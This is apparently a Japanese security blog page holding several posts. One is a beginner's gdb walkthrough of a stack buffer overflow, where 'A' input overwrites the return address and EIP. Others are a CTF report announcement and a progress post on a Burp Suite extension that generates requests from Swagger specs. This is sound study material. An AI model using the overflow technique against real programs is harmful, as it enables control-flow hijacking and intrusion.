0xffffd680:    0xffffd690 0x00000080 0xf7fc0c20 0xf7e462f3
0xffffd690:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6a0:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6b0:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6c0:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6d0:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6e0:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6f0:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd700:    0x41414141 0x41414141 0x41414141 0x00414141
0xffffd710:    0x00000000 0x818fa802 0xbbb70c12 0x00000000
0xffffd720:    0x00000000 0x00000000 0x00000001 0x080483a0
0xffffd730:    0x00000000 0xf7ff0660 0xf7e2ca09 0xf7ffd000
0xffffd740:    0x00000001 0x080483a0 0x00000000 0x080483c1
0xffffd750:    0x0804849d 0x00000001 0xffffd774 0x080484f0
0xffffd760:    0x08048560 0xf7feb300 0xffffd76c 0x0000001c
0xffffd770:    0x00000001 0xffffd894 0x00000000 0xffffd8a9

圧倒的塗りつぶし!

0x41(A)で塗りつぶされてReturn Address まで塗りつぶされました。

[4] どこでSegmentation fault?

では実際にどこでSegmentation faultが発生したのか?僕としてはそこが気になりました。

gdbを先に進めましょう。

fgets(3)の後にバックとレースをしてみますと、汚染が常に進んでおり、retに0x414141...がたむろする状況。

gdb-peda$ where
#0  0x080484cf in main ()
#1  0x41414141 in ?? ()
#2  0x41414141 in ?? ()
#3  0x41414141 in ?? ()
#4  0x41414141 in ?? ()
#5  0x41414141 in ?? ()
#6  0x41414141 in ?? ()
#7  0x41414141 in ?? ()
#8  0x41414141 in ?? ()
#9  0x41414141 in ?? ()
#10 0x41414141 in ?? ()
#11 0x41414141 in ?? ()
#12 0x41414141 in ?? ()
#13 0x00414141 in ?? ()
#14 0x00000000 in ?? ()

この時点では、#1のリターンアドレス、つまりmain()終了時のret時にSegmentation faultが発生するのではないかと今の所は考えている。

では、進めよう。

実際にその通りなのかもしれない。

[-----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1acda8 
ECX: 0x0 
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414141 (b'AAAA')
ESP: 0xffffd6dc ('A' <repeats 15 times>...)
EIP: 0x80484ed (<main+80>:  ret)
[-------------------------------------code--------------------------------------]
   0x80484e2 <main+69>:  call   0x8048350 <printf@plt>
   0x80484e7 <main+74>:  mov    eax,0x0
   0x80484ec <main+79>:  leave  
=> 0x80484ed <main+80>:  ret    
   0x80484ee:   xchg   ax,ax
   0x80484f0 <__libc_csu_init>:   push   ebp
   0x80484f1 <__libc_csu_init+1>:    push   edi
   0x80484f2 <__libc_csu_init+2>:    xor    edi,edi
[-------------------------------------stack-------------------------------------]
00:0000| esp 0xffffd6dc ('A' <repeats 15 times>...)
01:0004|     0xffffd6e0 ('A' <repeats 15 times>...)
02:0008|     0xffffd6e4 ('A' <repeats 15 times>...)
03:0012|     0xffffd6e8 ('A' <repeats 15 times>...)
04:0016|     0xffffd6ec ('A' <repeats 15 times>...)
05:0020|     0xffffd6f0 ('A' <repeats 15 times>...)
06:0024|     0xffffd6f4 ('A' <repeats 15 times>...)
07:0028|     0xffffd6f8 ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484ed in main ()
gdb-peda$ where
#0  0x080484ed in main ()
#1  0x41414141 in ?? ()
#2  0x41414141 in ?? ()
#3  0x41414141 in ?? ()
#4  0x41414141 in ?? ()
#5  0x41414141 in ?? ()
#6  0x41414141 in ?? ()
#7  0x41414141 in ?? ()
#8  0x41414141 in ?? ()
#9  0x41414141 in ?? ()
#10 0x41414141 in ?? ()
#11 0x41414141 in ?? ()
#12 0x41414141 in ?? ()
#13 0x00414141 in ?? ()
#14 0x00000000 in ?? ()
gdb-peda$ disas
Dump of assembler code for function main:
   0x0804849d <+0>:  push   ebp
   0x0804849e <+1>:  mov    ebp,esp
   0x080484a0 <+3>:  and    esp,0xfffffff0
   0x080484a3 <+6>:  sub    esp,0x50
   0x080484a6 <+9>:  mov    DWORD PTR [esp],0x8048580
   0x080484ad <+16>: call   0x8048370 <puts@plt>
   0x080484b2 <+21>: mov    eax,ds:0x804a028
   0x080484b7 <+26>: mov    DWORD PTR [esp+0x8],eax
   0x080484bb <+30>: mov    DWORD PTR [esp+0x4],0x80
   0x080484c3 <+38>: lea    eax,[esp+0x10]
   0x080484c7 <+42>: mov    DWORD PTR [esp],eax
   0x080484ca <+45>: call   0x8048360 <fgets@plt>
   0x080484cf <+50>: mov    DWORD PTR [esp],0x804858d
   0x080484d6 <+57>: call   0x8048370 <puts@plt>
   0x080484db <+62>: lea    eax,[esp+0x10]
   0x080484df <+66>: mov    DWORD PTR [esp],eax
   0x080484e2 <+69>: call   0x8048350 <printf@plt>
   0x080484e7 <+74>: mov    eax,0x0
   0x080484ec <+79>: leave  
=> 0x080484ed <+80>: ret    
End of assembler dump.

retに至った時点で常にebpが0x414141...となっておりこのまま進めてもSegmentation faultとなるであろう。

その後実際にstep inで実行してみると、

gdb-peda$ si
[-----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1acda8 
ECX: 0x0 
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414141 (b'AAAA')
ESP: 0xffffd6e0 ('A' <repeats 15 times>...)
EIP: 0x41414141 (b'AAAA')
[-------------------------------------code--------------------------------------]
Invalid $PC address: 0x41414141
[-------------------------------------stack-------------------------------------]
00:0000| esp 0xffffd6e0 ('A' <repeats 15 times>...)
01:0004|     0xffffd6e4 ('A' <repeats 15 times>...)
02:0008|     0xffffd6e8 ('A' <repeats 15 times>...)
03:0012|     0xffffd6ec ('A' <repeats 15 times>...)
04:0016|     0xffffd6f0 ('A' <repeats 15 times>...)
05:0020|     0xffffd6f4 ('A' <repeats 15 times>...)
06:0024|     0xffffd6f8 ('A' <repeats 15 times>...)
07:0028|     0xffffd6fc ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x41414141 in ?? ()

となっておりEIPの汚染を確実に可能とした。

結論

スタック状に格納されるローカル変数を汚染するための方法を理解できたと思う。

次はもう少し攻撃的なものを覚えたい。

参考書籍/サイト

ハロー“Hello, World” OSと標準ライブラリのシゴトとしくみ Debugging with GDB - データの検査 セキュリティコンテストチャレンジブック -CTFで学ぼう! 情報を守るための戦い方

MBSD Cyber Security Challenge 2018 のレポートの話

書き出し

昨年参加したMBSD Cyber Security Challenge 2018のレポートを公開するか否かを考えて約1ヶ月、多くのチームとともに公開できればと思い公開しました。

焦り書きましたので、誤字脱字が多く読みにくいと思いますが温かい目で見守っていただければ幸いです。

参加記録

azara.hatenablog.com

本題

ダウンロードはこちら

同じサークル(IPfactory)から参加した8ayacのツイート

Burp Suiteの拡張を作りの話 ~Swagger Specを読み込みたい~

書き出し

おとそ気分が抜け切らない状態で2週間近く経過したあざらです。 今回は、近況の報告を兼ねて、ここ数週間作っていたBurp Suiteの拡張について書いていきます。 短めですがお付き合いください

作っているもの

swaggerで定義されたSwagger Specを利用し、必要最低限のHTTPリクエストを生成、そのリクエストをintruderとrepeaterに展開するための拡張機能を作成しています。

最低限欲しかった機能

  • Swagger Specを利用したリクエストの生成
  • 指定パラメータの置き換え
  • リクエストのintruderとrepeaterへの展開
  • Authorization headerの追加(主にbearerを利用したJWTのため)

できれば欲しい機能

  • 任意のheaderの追加機能
  • intruderとrepeaterのオン/オフ機能
  • 再利用可能な拡張のUI設計

進捗

2018/01/12時点で最低限欲しかった機能は完成しており現在UIの磨き上げとできれば欲しい機能の追加を施しています。

外観

Option以外の必要な機能は機能するように作成済み。 f:id:oukasakura3:20190112133332p:plain

ただインプット用のポップアップがまだ未完成で....かなしい限り f:id:oukasakura3:20190112133749p:plain

Listへの値挿入はこのような形で動きます。 f:id:oukasakura3:20190112140129g:plain

Swagger Specの読み込みとその後の動作はこのような形で、しっかりと展開されていることがわかります。

f:id:oukasakura3:20190112140231g:plain

終わりに

今回は製作途中ということもあり少し短めかつ、駆け足での投稿になってしまいましたが、完成次第再度ブログを書こうと思いますのでよろしくお願いします。

書き置き

言語選び

Burp Suiteの拡張の作成に使用できる言語は次の3つ存在しました。

言語 種別 概略
Java Java Burp Suite自体が
Javaで実装されているため利用可能
JRuby Rubyインタプリタ Javaで実装されたRuby
現状 2.5までサポートしている
Jython Pythonインタプリタ Javaで実装されたPython
現状 2.7で開発がストップしている

今回私はある程度書いたことのある "Jython" を選択しました。

環境整備

Jythonの設定

  1. ここからJythonをダウンロード
  2. Burp SuiteのExtender > Optionへ
  3. Python Enviromentにあるselect fileで先ほど取得したJythonを選択
  4. オプションでpipなどでインストールしたモジュールを指定

参考資料

参考にさせていただきましたサイト様の記載(敬称略)